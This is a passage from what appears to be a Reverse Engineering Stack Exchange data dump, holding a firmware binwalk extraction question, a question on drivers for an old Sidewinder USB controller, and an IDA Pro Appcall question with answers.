footer&#xA;126957        0x1EFED         HTML document header&#xA;133790        0x20A9E         HTML document footer&#xA;133792        0x20AA0         HTML document header&#xA;149863        0x24967         HTML document footer&#xA;149865        0x24969         HTML document header&#xA;157824        0x26880         HTML document footer&#xA;157826        0x26882         HTML document header&#xA;173039        0x2A3EF         HTML document footer&#xA;173041        0x2A3F1         HTML document header&#xA;201137        0x311B1         HTML document footer&#xA;201139        0x311B3         HTML document header&#xA;207772        0x32B9C         HTML document footer&#xA;207773        0x32B9D         HTML document header&#xA;219240        0x35868         HTML document footer&#xA;219241        0x35869         HTML document header&#xA;220859        0x35EBB         HTML document footer&#xA;220860        0x35EBC         HTML document header&#xA;229141        0x37F15         HTML document footer&#xA;229142        0x37F16         HTML document header&#xA;237943        0x3A177         HTML document footer&#xA;237943        0x3A177         HTML document header&#xA;243109        0x3B5A5         HTML document footer&#xA;243110        0x3B5A6         HTML document header&#xA;248986        0x3CC9A         HTML document footer&#xA;248987        0x3CC9B         HTML document header&#xA;256674        0x3EAA2         HTML document footer&#xA;256675        0x3EAA3         HTML document header&#xA;264418        0x408E2         HTML document footer&#xA;264419        0x408E3         HTML document header&#xA;267737        0x415D9         HTML document footer&#xA;267791        0x4160F         HTML document header&#xA;278611        0x44053         HTML document footer&#xA;278612        0x44054         HTML document header&#xA;302510        0x49DAE         HTML document footer&#xA;302511        0x49DAF         HTML document header&#xA;340467        0x531F3         HTML document footer&#xA;340468        0x531F4         HTML document header&#xA;350590        0x5597E         HTML document footer&#xA;350591        0x5597F         HTML document header&#xA;353983        0x566BF         HTML document footer&#xA;353984        0x566C0         HTML document header&#xA;400086        0x61AD6         HTML document footer&#xA;400087        0x61AD7         HTML document header&#xA;402883        0x625C3         HTML document footer&#xA;936805        0xE4B65         Zlib compressed data, default compression&#xA;949237        0xE7BF5         Zlib compressed data, compressed&#xA;959131        0xEA29B         Zlib compressed data, compressed&#xA;992718        0xF25CE         Zlib compressed data, best compression&#xA;999966        0xF421E         Zlib compressed data, default compression&#xA;1014782       0xF7BFE         Zlib compressed data, default compression&#xA;1018489       0xF8A79         Zlib compressed data, default compression&#xA;1032857       0xFC299         Zlib compressed data, default compression&#xA;1042869       0xFE9B5         Zlib compressed data, compressed&#xA;1044292       0xFEF44         Zlib compressed data, best compression&#xA;1052372       0x100ED4        Zlib compressed data, compressed&#xA;1055182       0x1019CE        Zlib compressed data, default compression&#xA;1071400       0x105928        Zlib compressed data, default compression&#xA;1076050       0x106B52        Zlib compressed data, best compression&#xA;1096297       0x10BA69        Zlib compressed data, compressed&#xA;1137920       0x115D00        Zlib compressed data, compressed&#xA;1170902       0x11DDD6        Zlib compressed data, compressed&#xA;1186555       0x121AFB        Zlib compressed data, compressed&#xA;1188821       0x1223D5        Zlib compressed data, default compression&#xA;1195821       0x123F2D        Zlib compressed data, default compression&#xA;1201862       0x1256C6        Zlib compressed data, compressed&#xA;1236300       0x12DD4C        Zlib compressed data, compressed&#xA;1279273       0x138529        Zlib compressed data, compressed&#xA;1280971       0x138BCB        Zlib compressed data, compressed&#xA;1302926       0x13E18E        Zlib compressed data, best compression&#xA;1303266       0x13E2E2        Zlib compressed data, compressed&#xA;1312923       0x14089B        Zlib compressed data, default compression&#xA;1332979       0x1456F3        Zlib compressed data, default compression&#xA;1340608       0x1474C0        Zlib compressed data, best compression&#xA;1378862       0x150A2E        Zlib compressed data, compressed&#xA;1398072       0x155538        Zlib compressed data, default compression&#xA;1415562       0x15998A        Zlib compressed data, compressed&#xA;1464907       0x165A4B        Zlib compressed data, default compression&#xA;1500357       0x16E4C5        Zlib compressed data, best compression&#xA;1500644       0x16E5E4        Zlib compressed data, default compression&#xA;1527997       0x1750BD        compress'd data, 16 bits&#xA;1544522       0x17914A        Zlib compressed data, best compression&#xA;1552354       0x17AFE2        Zlib compressed data, best compression&#xA;1571408       0x17FA50        Zlib compressed data, compressed&#xA;1581827       0x182303        Zlib compressed data, best compression&#xA;1591785       0x1849E9        Zlib compressed data, compressed&#xA;1605018       0x187D9A        Zlib compressed data, default compression&#xA;1620883       0x18BB93        Zlib compressed data, compressed&#xA;1657385       0x194A29        Zlib compressed data, compressed&#xA;1660472       0x195638        Zlib compressed data, compressed&#xA;1676765       0x1995DD        Zlib compressed data, default compression&#xA;1677967       0x199A8F        Zlib compressed data, best compression&#xA;1716067       0x1A2F63        Zlib compressed data, best compression&#xA;1805822       0x1B8DFE        Zlib compressed data, compressed&#xA;1816311       0x1BB6F7        Zlib compressed data, compressed&#xA;1828850       0x1BE7F2        Zlib compressed data, compressed&#xA;1847543       0x1C30F7        Zlib compressed data, compressed&#xA;1884695       0x1CC217        Zlib compressed data, compressed&#xA;1897488       0x1CF410        Zlib compressed data, best compression&#xA;1897690       0x1CF4DA        Zlib compressed data, compressed&#xA;1942524       0x1DA3FC        Zlib compressed data, best compression&#xA;1963605       0x1DF655        Zlib compressed data, compressed&#xA;1975034       0x1E22FA        Zlib compressed data, compressed&#xA;1977041       0x1E2AD1        Zlib compressed data, compressed&#xA;1997374       0x1E7A3E        Zlib compressed data, compressed&#xA;2036964       0x1F14E4        Zlib compressed data, default compression&#xA;2037783       0x1F1817        Zlib compressed data, compressed&#xA;2041756       0x1F279C        Zlib compressed data, compressed&#xA;2051259       0x1F4CBB        Zlib compressed data, compressed&#xA;2063154       0x1F7B32        Zlib compressed data, best compression&#xA;2072756       0x1FA0B4        Zlib compressed data, default compression&#xA;2076724       0x1FB034        Zlib compressed data, compressed&#xA;2082453       0x1FC695        Zlib compressed data, default compression&#xA;2093131       0x1FF04B        Zlib compressed data, compressed&#xA;2107066       0x2026BA        Zlib compressed data, compressed&#xA;2107321       0x2027B9        Zlib compressed data, default compression&#xA;2121073       0x205D71        Zlib compressed data, compressed&#xA;2125853       0x20701D        Zlib compressed data, best compression&#xA;2126493       0x20729D        Zlib compressed data, best compression&#xA;2154155       0x20DEAB        Zlib compressed data, compressed&#xA;2177138       0x213872        Zlib compressed data, compressed&#xA;2195782       0x218146        Zlib compressed data, best compression&#xA;2199697       0x219091        Zlib compressed data, compressed&#xA;2211810       0x21BFE2        Zlib compressed data, default compression&#xA;2237221       0x222325        Zlib compressed data, default compression&#xA;2245919       0x22451F        Zlib compressed data, best compression&#xA;2257118       0x2270DE        Zlib compressed data, compressed&#xA;2265100       0x22900C        Zlib compressed data, compressed&#xA;2276225       0x22BB81        Zlib compressed data, compressed&#xA;2285428       0x22DF74        Zlib compressed data, best compression&#xA;2286328       0x22E2F8        Zlib compressed data, best compression&#xA;2300068       0x2318A4        Zlib compressed data, compressed&#xA;2306513       0x2331D1        Zlib compressed data, default compression&#xA;2324445       0x2377DD        Zlib compressed data, default compression&#xA;2339864       0x23B418        Zlib compressed data, best compression&#xA;2349252       0x23D8C4        Zlib compressed data, compressed&#xA;2358483       0x23FCD3        Zlib compressed data, compressed&#xA;2375872       0x2440C0        Zlib compressed data, compressed&#xA;2383190       0x245D56        Zlib compressed data, default compression&#xA;2474107       0x25C07B        Zlib compressed data, default compression&#xA;2505436       0x263ADC        Zlib compressed data, compressed&#xA;2505514       0x263B2A        Zlib compressed data, compressed&#xA;2507416       0x264298        Zlib compressed data, best compression&#xA;2515542       0x266256        Zlib compressed data, compressed&#xA;2517896       0x266B88        Zlib compressed data, best compression&#xA;2520742       0x2676A6        Zlib compressed data, compressed&#xA;2526861       0x268E8D        Zlib compressed data, best compression&#xA;2534916       0x26AE04        Zlib compressed data, default compression&#xA;2561503       0x2715DF        Zlib compressed data, default compression&#xA;2569730       0x273602        Zlib compressed data, compressed&#xA;2583767       0x276CD7        Zlib compressed data, default compression&#xA;2602237       0x27B4FD        Zlib compressed data, default compression&#xA;2611477       0x27D915        Zlib compressed data, default compression&#xA;2626957       0x28158D        Zlib compressed data, compressed&#xA;2639089       0x2844F1        Zlib compressed data, compressed&#xA;2647278       0x2864EE        Zlib compressed data, default compression&#xA;2652206       0x28782E        Zlib compressed data, best compression&#xA;2664654       0x28A8CE        Zlib compressed data, best compression&#xA;2721674       0x29878A        Zlib compressed data, best compression&#xA;2722212       0x2989A4        Zlib compressed data, compressed&#xA;2729622       0x29A696        Zlib compressed data, default compression&#xA;2746239       0x29E77F        Zlib compressed data, compressed&#xA;2747460       0x29EC44        Zlib compressed data, best compression&#xA;2773475       0x2A51E3        Zlib compressed data, compressed&#xA;2912430       0x2C70AE        Zlib compressed data, compressed&#xA;2915559       0x2C7CE7        Zlib compressed data, best compression&#xA;2919137       0x2C8AE1        Zlib compressed data, compressed&#xA;2919398       0x2C8BE6        Zlib compressed data, default compression&#xA;2925208       0x2CA298        Zlib compressed data, default compression&#xA;2970697       0x2D5449        Zlib compressed data, compressed&#xA;2975629       0x2D678D        Zlib compressed data, compressed&#xA;3007894       0x2DE596        Zlib compressed data, compressed&#xA;3085804       0x2F15EC        Zlib compressed data, compressed&#xA;3092200       0x2F2EE8        Zlib compressed data, compressed&#xA;3109095       0x2F70E7        Zlib compressed data, default compression&#xA;3137073       0x2FDE31        Zlib compressed data, default compression&#xA;3159460       0x3035A4        Zlib compressed data, best compression&#xA;3169969       0x305EB1        Zlib compressed data, compressed&#xA;3174676       0x307114        Zlib compressed data, best compression&#xA;3190315       0x30AE2B        Zlib compressed data, default compression&#xA;3190481       0x30AED1        Zlib compressed data, compressed&#xA;3199853       0x30D36D        Zlib compressed data, best compression&#xA;3209970       0x30FAF2        Zlib compressed data, default compression&#xA;3233371       0x31565B        Zlib compressed data, compressed&#xA;3262017       0x31C641        Zlib compressed data, compressed&#xA;3294698       0x3245EA        Zlib compressed data, compressed&#xA;3294814       0x32465E        Zlib compressed data, best compression&#xA;3300772       0x325DA4        Zlib compressed data, compressed&#xA;3314325       0x329295        Zlib compressed data, default compression&#xA;3325430       0x32BDF6        Zlib compressed data, best compression&#xA;3347539       0x331453        Zlib compressed data, default compression&#xA;3381973       0x339AD5        Zlib compressed data, compressed&#xA;3384096       0x33A320        Zlib compressed data, compressed&#xA;3426731       0x3449AB        Zlib compressed data, best compression&#xA;3436707       0x3470A3        Zlib compressed data, best compression&#xA;3439327       0x347ADF        Zlib compressed data, best compression&#xA;3483067       0x3525BB        Zlib compressed data, default compression&#xA;3488551       0x353B27        Zlib compressed data, default compression&#xA;3493009       0x354C91        Zlib compressed data, default compression&#xA;3494362       0x3551DA        Zlib compressed data, default compression&#xA;3499219       0x3564D3        Zlib compressed data, best compression&#xA;3538245       0x35FD45        Zlib compressed data, compressed&#xA;3579428       0x369E24        Zlib compressed data, compressed&#xA;3588400       0x36C130        Zlib compressed data, compressed&#xA;3597734       0x36E5A6        Zlib compressed data, default compression&#xA;3609086       0x3711FE        Zlib compressed data, compressed&#xA;3617545       0x373309        Zlib compressed data, default compression&#xA;3622662       0x374706        Zlib compressed data, compressed&#xA;3626922       0x3757AA        Zlib compressed data, best compression&#xA;3634992       0x377730        Zlib compressed data, best compression&#xA;3638148       0x378384        Zlib compressed data, default compression&#xA;3638417       0x378491        Zlib compressed data, best compression&#xA;3688902       0x3849C6        Zlib compressed data, compressed&#xA;3698631       0x386FC7        Zlib compressed data, best compression&#xA;3713175       0x38A897        Zlib compressed data, best compression&#xA;3781687       0x39B437        Zlib compressed data, default compression&#xA;3786285       0x39C62D        Zlib compressed data, default compression&#xA;3794941       0x39E7FD        Zlib compressed data, default compression&#xA;3816840       0x3A3D88        Zlib compressed data, best compression&#xA;3817656       0x3A40B8        Zlib compressed data, default compression&#xA;3829859       0x3A7063        Zlib compressed data, compressed&#xA;3859678       0x3AE4DE        Zlib compressed data, best compression&#xA;3887499       0x3B518B        Zlib compressed data, best compression&#xA;3902283       0x3B8B4B        Zlib compressed data, default compression&#xA;3923673       0x3BDED9        Zlib compressed data, best compression&#xA;3927277       0x3BECED        Zlib compressed data, best compression&#xA;3974662       0x3CA606        Zlib compressed data, compressed&#xA;3995965       0x3CF93D        Zlib compressed data, default compression&#xA;4004880       0x3D1C10        Zlib compressed data, compressed&#xA;4024426       0x3D686A        Zlib compressed data, default compression&#xA;4076111       0x3E324F        Zlib compressed data, compressed&#xA;4097672       0x3E8688        Zlib compressed data, best compression&#xA;4115526       0x3ECC46        Zlib compressed data, best compression&#xA;4115649       0x3ECCC1        Zlib compressed data, best compression&#xA;4122032       0x3EE5B0        Zlib compressed data, best compression&#xA;4124189       0x3EEE1D        Zlib compressed data, best compression&#xA;4129024       0x3F0100        Zlib compressed data, compressed&#xA;4181033       0x3FCC29        Zlib compressed data, default compression&#xA;4218129       0x405D11        Zlib compressed data, compressed&#xA;4219339       0x4061CB        Zlib compressed data, best compression&#xA;4221408       0x4069E0        Zlib compressed data, best compression&#xA;4239114       0x40AF0A        Zlib compressed data, compressed&#xA;4245809       0x40C931        Zlib compressed data, best compression&#xA;4277644       0x41458C        Zlib compressed data, compressed&#xA;4289972       0x4175B4        Zlib compressed data, compressed&#xA;4300292       0x419E04        Zlib compressed data, best compression&#xA;4319935       0x41EABF        Zlib compressed data, compressed&#xA;4319988       0x41EAF4        Zlib compressed data, compressed&#xA;4320041       0x41EB29        Zlib compressed data, compressed&#xA;4320089       0x41EB59        Zlib compressed data, compressed&#xA;4350321       0x426171        Zlib compressed data, compressed&#xA;4375063       0x42C217        Zlib compressed data, compressed&#xA;4414926       0x435DCE        Zlib compressed data, compressed&#xA;4417582       0x43682E        Zlib compressed data, compressed&#xA;4430754       0x439BA2        Zlib compressed data, best compression&#xA;4430955       0x439C6B        Zlib compressed data, best compression&#xA;4433422       0x43A60E        Zlib compressed data, compressed&#xA;4440964       0x43C384        Zlib compressed data, default compression&#xA;4459836       0x440D3C        Zlib compressed data, best compression&#xA;4465037       0x44218D        Zlib compressed data, compressed&#xA;4491474       0x4488D2        Zlib compressed data, compressed&#xA;4525321       0x450D09        Zlib compressed data, compressed&#xA;4536020       0x4536D4        Zlib compressed data, default compression&#xA;4539019       0x45428B        Zlib compressed data, best compression&#xA;4547686       0x456466        Zlib compressed data, compressed&#xA;4594046       0x46197E        Zlib compressed data, compressed&#xA;4595742       0x46201E        Zlib compressed data, compressed&#xA;4611527       0x465DC7        Zlib compressed data, compressed&#xA;4621480       0x4684A8        Zlib compressed data, best compression&#xA;4622546       0x4688D2        Zlib compressed data, best compression&#xA;4658238       0x47143E        Zlib compressed data, compressed&#xA;4666730       0x47356A        Zlib compressed data, best compression&#xA;4682920       0x4774A8        Zlib compressed data, best compression&#xA;4687391       0x47861F        Zlib compressed data, compressed&#xA;4725536       0x481B20        Zlib compressed data, compressed&#xA;4729111       0x482917        Zlib compressed data, default compression&#xA;4739376       0x485130        Zlib compressed data, best compression&#xA;4747013       0x486F05        Zlib compressed data, compressed&#xA;4764107       0x48B1CB        Zlib compressed data, compressed&#xA;4774983       0x48DC47        Zlib compressed data, default compression&#xA;4775153       0x48DCF1        Zlib compressed data, best compression&#xA;4828104       0x49ABC8        Zlib compressed data, best compression&#xA;4866122       0x4A404A        Zlib compressed data, compressed&#xA;4895722       0x4AB3EA        Zlib compressed data, compressed&#xA;4934732       0x4B4C4C        Zlib compressed data, default compression&#xA;4940722       0x4B63B2        Zlib compressed data, default compression&#xA;4949644       0x4B868C        Zlib compressed data, compressed&#xA;4983247       0x4C09CF        Zlib compressed data, compressed&#xA;4992046       0x4C2C2E        Zlib compressed data, best compression&#xA;5023817       0x4CA849        Zlib compressed data, compressed&#xA;5037667       0x4CDE63        Zlib compressed data, compressed&#xA;5046276       0x4D0004        Zlib compressed data, best compression&#xA;5048862       0x4D0A1E        Zlib compressed data, compressed&#xA;5050674       0x4D1132        Zlib compressed data, compressed&#xA;5073060       0x4D68A4        Zlib compressed data, default compression&#xA;5092725       0x4DB575        Zlib compressed data, default compression&#xA;5122481       0x4E29B1        Zlib compressed data, compressed&#xA;5122600       0x4E2A28        Zlib compressed data, compressed&#xA;5140098       0x4E6E82        Zlib compressed data, compressed&#xA;5140130       0x4E6EA2        Zlib compressed data, compressed&#xA;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It all seems like a false positive because when I run  binwalk -e I get these files as output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;100ED4.zlib 15998A.zlib 1CF410.zlib 20AA0.html  263ADC.zlib 29E77F.zlib 311B3.html  369E24.zlib 3B5A6.html  40C931.zlib 45428B.zlib 4B63B2.zlib B8A5.html&#xA;1019CE.zlib 165A4B.zlib 1CF4DA.zlib 20DEAB.zlib 263B2A.zlib 29EC44.zlib 31565B.zlib 36C130.zlib 3B8B4B.zlib 41458C.zlib 456466.zlib 4B868C.zlib BEC.html&#xA;1043D.html  16E4C5.zlib 1DA3FC.zlib 213872.zlib 264298.zlib 2A3F1.html  31C641.zlib 36E5A6.zlib 3BDED9.zlib 4160F.html  46197E.zlib 4C09CF.zlib C602.html&#xA;105928.zlib 16E5E4.zlib 1DF655.zlib 218146.zlib 266256.zlib 2A51E3.zlib 3245EA.zlib 3711FE.zlib 3BECED.zlib 4175B4.zlib 46201E.zlib 4C2C2E.zlib CC41.html&#xA;106B52.zlib 1750BD.Z    1E22FA.zlib 219091.zlib 266B88.zlib 2C70AE.zlib 32465E.zlib 373309.zlib 3CA606.zlib 419E04.zlib 465DC7.zlib 4CA849.zlib D475.html&#xA;10BA69.zlib 17914A.zlib 1E2AD1.zlib 21BFE2.zlib 2676A6.zlib 2C7CE7.zlib 325DA4.zlib 374706.zlib 3CC9B.html  41EABF.zlib 4684A8.zlib 4CDE63.zlib D9B.html&#xA;1120F.html  17AFE2.zlib 1E7A3E.zlib 222325.zlib 26882.html  2C8AE1.zlib 329295.zlib 3757AA.zlib 3CF93D.zlib 41EAF4.zlib 4688D2.zlib 4D0004.zlib E4B65.zlib&#xA;115D00.zlib 17FA50.zlib 1EFED.html  22451F.zlib 268E8D.zlib 2C8BE6.zlib 32B9D.html  377730.zlib 3D1C10.zlib 41EB29.zlib 47143E.zlib 4D0A1E.zlib E7BF5.zlib&#xA;11DDD6.zlib 182303.zlib 1F14E4.zlib 2270DE.zlib 26AE04.zlib 2CA298.zlib 32BDF6.zlib 378384.zlib 3D686A.zlib 41EB59.zlib 47356A.zlib 4D1132.zlib EA29B.zlib&#xA;121AFB.zlib 1849E9.zlib 1F1817.zlib 22900C.zlib 2715DF.zlib 2D5449.zlib 331453.zlib 378491.zlib 3E324F.zlib 426171.zlib 4774A8.zlib 4D68A4.zlib EA3.html&#xA;1223D5.zlib 187D9A.zlib 1F279C.zlib 22BB81.zlib 273602.zlib 2D678D.zlib 339AD5.zlib 37F16.html  3E8688.zlib 42C217.zlib 47861F.zlib 4DB575.zlib F25CE.zlib&#xA;123F2D.zlib 189C6.html  1F4CBB.zlib 22DF74.zlib 276CD7.zlib 2DE596.zlib 33A320.zlib 3849C6.zlib 3EAA3.html  435DCE.zlib 481B20.zlib 4E29B1.zlib F421E.zlib&#xA;1256C6.zlib 18BB93.zlib 1F7B32.zlib 22E2F8.zlib 27B4FD.zlib 2F15EC.zlib 3449AB.zlib 386FC7.zlib 3ECC46.zlib 43682E.zlib 482917.zlib 4E2A28.zlib F7BFE.zlib&#xA;12DD4C.zlib 194A29.zlib 1F87.html   2318A4.zlib 27D915.zlib 2F2EE8.zlib 3470A3.zlib 38A897.zlib 3ECCC1.zlib 439BA2.zlib 485130.zlib 4E6E82.zlib F8A79.zlib&#xA;138529.zlib 195638.zlib 1FA0B4.zlib 2331D1.zlib 28158D.zlib 2F70E7.zlib 347ADF.zlib 39B437.zlib 3EE5B0.zlib 439C6B.zlib 486F05.zlib 4E6EA2.zlib FC299.zlib&#xA;138BCB.zlib 1995DD.zlib 1FB034.zlib 2377DD.zlib 2844F1.zlib 2FDE31.zlib 3525BB.zlib 39C62D.zlib 3EEE1D.zlib 43A60E.zlib 48B1CB.zlib 531F4.html  FE9B5.zlib&#xA;13E18E.zlib 199A8F.zlib 1FC695.zlib 23B418.zlib 2864EE.zlib 3035A4.zlib 353B27.zlib 39E7FD.zlib 3F0100.zlib 43C384.zlib 48DC47.zlib 5597F.html  FEF44.zlib&#xA;13E2E2.zlib 1A2F63.zlib 1FF04B.zlib 23D8C4.zlib 28782E.zlib 305EB1.zlib 354C91.zlib 3A177.html  3FCC29.zlib 44054.html  48DCF1.zlib 566C0.html&#xA;14089B.zlib 1B8DFE.zlib 2026BA.zlib 23FCD3.zlib 28A8CE.zlib 307114.zlib 3551DA.zlib 3A3D88.zlib 405D11.zlib 440D3C.zlib 49ABC8.zlib 61AD7.html&#xA;1456F3.zlib 1BB6F7.zlib 2027B9.zlib 2440C0.zlib 28DF.html   30AE2B.zlib 3564D3.zlib 3A40B8.zlib 4061CB.zlib 44218D.zlib 49DAF.html  865.html&#xA;1474C0.zlib 1BE7F2.zlib 205D71.zlib 245D56.zlib 29878A.zlib 30AED1.zlib 35869.html  3A7063.zlib 4069E0.zlib 4488D2.zlib 4A404A.zlib A7D.html&#xA;150A2E.zlib 1C30F7.zlib 20701D.zlib 24969.html  2989A4.zlib 30D36D.zlib 35EBC.html  3AE4DE.zlib 408E3.html  450D09.zlib 4AB3EA.zlib A971.html&#xA;155538.zlib 1CC217.zlib 20729D.zlib 25C07B.zlib 29A696.zlib 30FAF2.zlib 35FD45.zlib 3B518B.zlib 40AF0A.zlib 4536D4.zlib 4B4C4C.zlib AAE9.html&#xA;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The zlib files give me error during extraction. ( I can't unzip the zlib files)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From hexdump output and strings command I see quite a lot of ascii which I guess indicates it's not encrypted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I open the HTML files I see some binaries which apparently got combined with HTML files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xj1w1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xj1w1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EY8KP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EY8KP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: Where do I go from here? &lt;/p&gt;&#xA;" OwnerUserId="13352" LastActivityDate="2015-08-21T16:55:09.570" Title="Extracting Firmware problem with Binwalk" Tags="|firmware|embedded|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10680" PostTypeId="1" CreationDate="2015-08-21T20:36:21.487" Score="2" ViewCount="2743" Body="&lt;p&gt;I have an old USB gaming device called the Strategic Commander.  It was handy for strategy games like Age of Empires - allowing for easy left hand to control of scrolling, panning, zooming and using a variety of programmable hotkeys.  Today it's a useless/unsupported/forgotten item that sits in a drawer in my office.  I would like to use the device to help navigate in a 3D CAD environment like Blender or 3D Studio Max.  On Windows 7 &amp;amp; 8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any existing research/work available in this area?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an open source driver framework?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know Microsoft's official stance on 'hacking' this old hardware?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I get started?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13353" LastActivityDate="2015-09-20T21:41:05.413" Title="Microsoft Sidewinder Strategic Commander (USB Device) - Any open source drivers or tools?" Tags="|usb|" AnswerCount="1" CommentCount="0" ClosedDate="2015-09-23T11:14:53.447" ContentLicense="CC BY-SA 3.0" />
  <row Id="10681" PostTypeId="2" ParentId="10680" CreationDate="2015-08-21T21:03:18.377" Score="1" Body="&lt;p&gt;There's a post at &lt;a href=&quot;http://answers.microsoft.com/en-us/windows/forum/windows_7-hardware/need-windows-7-drivers-for-sidewinder-strategic/27cabb00-b9b6-425b-8593-87f2ef7663f6&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://answers.microsoft.com/en-us/windows/forum/windows_7-hardware/need-windows-7-drivers-for-sidewinder-strategic/27cabb00-b9b6-425b-8593-87f2ef7663f6&lt;/a&gt; about it:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I find it was VERY hard to download the driver directly from&#xA;&lt;a href=&quot;http://strategic-engine.software.informer.com/1.3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://strategic-engine.software.informer.com/1.3/&lt;/a&gt; so I am sharing&#xA;another link.&lt;/p&gt;&#xA;&lt;p&gt;I did successfully install the drivers from this website&#xA;&lt;a href=&quot;http://www.picturemon.com/Downloads/StrategicSetupv1.3.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.picturemon.com/Downloads/StrategicSetupv1.3.zip&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;the web&#xA;owner stated on&#xA;&lt;a href=&quot;http://www.vistaheads.com/forums/microsoft-public-windows-vista-hardware-devices/10329-sidewinder-strategic-commander-problems-11.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.vistaheads.com/forums/microsoft-public-windows-vista-hardware-devices/10329-sidewinder-strategic-commander-problems-11.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Okay, I Finally found a copy thanks guys (sarcasm) so others can&#xA;download it. I'm putting it on my website. Oh and if the author of you&#xA;software wants me too take it down don't hesitate to shoot me an email&#xA;thanks.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;This version does work on my Win 7 64 Bit computer.&lt;/p&gt;&#xA;&lt;p&gt;I also posted it&#xA;on my personal site so more people can use it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://home.comcast.net/%7Eformosanh/Sidewinder/StrategicSetupv1.3.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://home.comcast.net/~formosanh/Sidewinder/StrategicSetupv1.3.zip&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Except for the first link (&amp;quot;VERY hard to download&amp;quot;), the others all seem down.&lt;/p&gt;&#xA;&lt;p&gt;Google found &lt;a href=&quot;http://pds27.egloos.com/pds/201501/28/48/StrategicSetupv1.3.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pds27.egloos.com/pds/201501/28/48/StrategicSetupv1.3.zip&lt;/a&gt;, but given the suspicious origin and current file host, I'd recommend you take proper precautions before installing it (lest it contain malicious functionality).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RsY0A.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RsY0A.png&quot; alt=&quot;Strategic Engine&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2015-08-21T21:03:18.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10682" PostTypeId="1" AcceptedAnswerId="10683" CreationDate="2015-08-21T21:03:31.633" Score="1" ViewCount="482" Body="&lt;p&gt;I have a function that takes some arguments and returns a char array which is being used by send() function later on (basically a packet encoder). My initial approach was to try and decompile this big encode function but there're at least 20-40 sub functions also data types are not really easy to figure out so i gave up on that. My second approach was to try to use hex-rays decompiler plugin but that also gives some uncompilable c code. As last resort i tried to analyze input data and encoded data but since the input changes all the time during runtime it's really hard to compare results and the only conclusion i could reach was first byte is a header and next two bytes represent packet length. So my question is, is there any way to feed data into a function(subroutine) with IDA Pro or any other disassembly tool ?&lt;/p&gt;&#xA;" OwnerUserId="13325" LastEditorUserId="53" LastEditDate="2015-12-16T17:07:36.873" LastActivityDate="2015-12-16T17:07:36.873" Title="Is it possible to feed data to a function during or outside of runtime using IDA Pro?" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10683" PostTypeId="2" ParentId="10682" CreationDate="2015-08-21T21:08:58.730" Score="2" Body="&lt;p&gt;Yes, you can use Appcall: &lt;a href=&quot;https://hex-rays.com/products/ida/support/tutorials/debugging_appcall.pdf&quot; rel=&quot;nofollow&quot;&gt;https://hex-rays.com/products/ida/support/tutorials/debugging_appcall.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Appcall is a mechanism to call functions inside the debugged program&#xA;  from the debugger or your script as if it were a built-in function.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-08-21T21:08:58.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
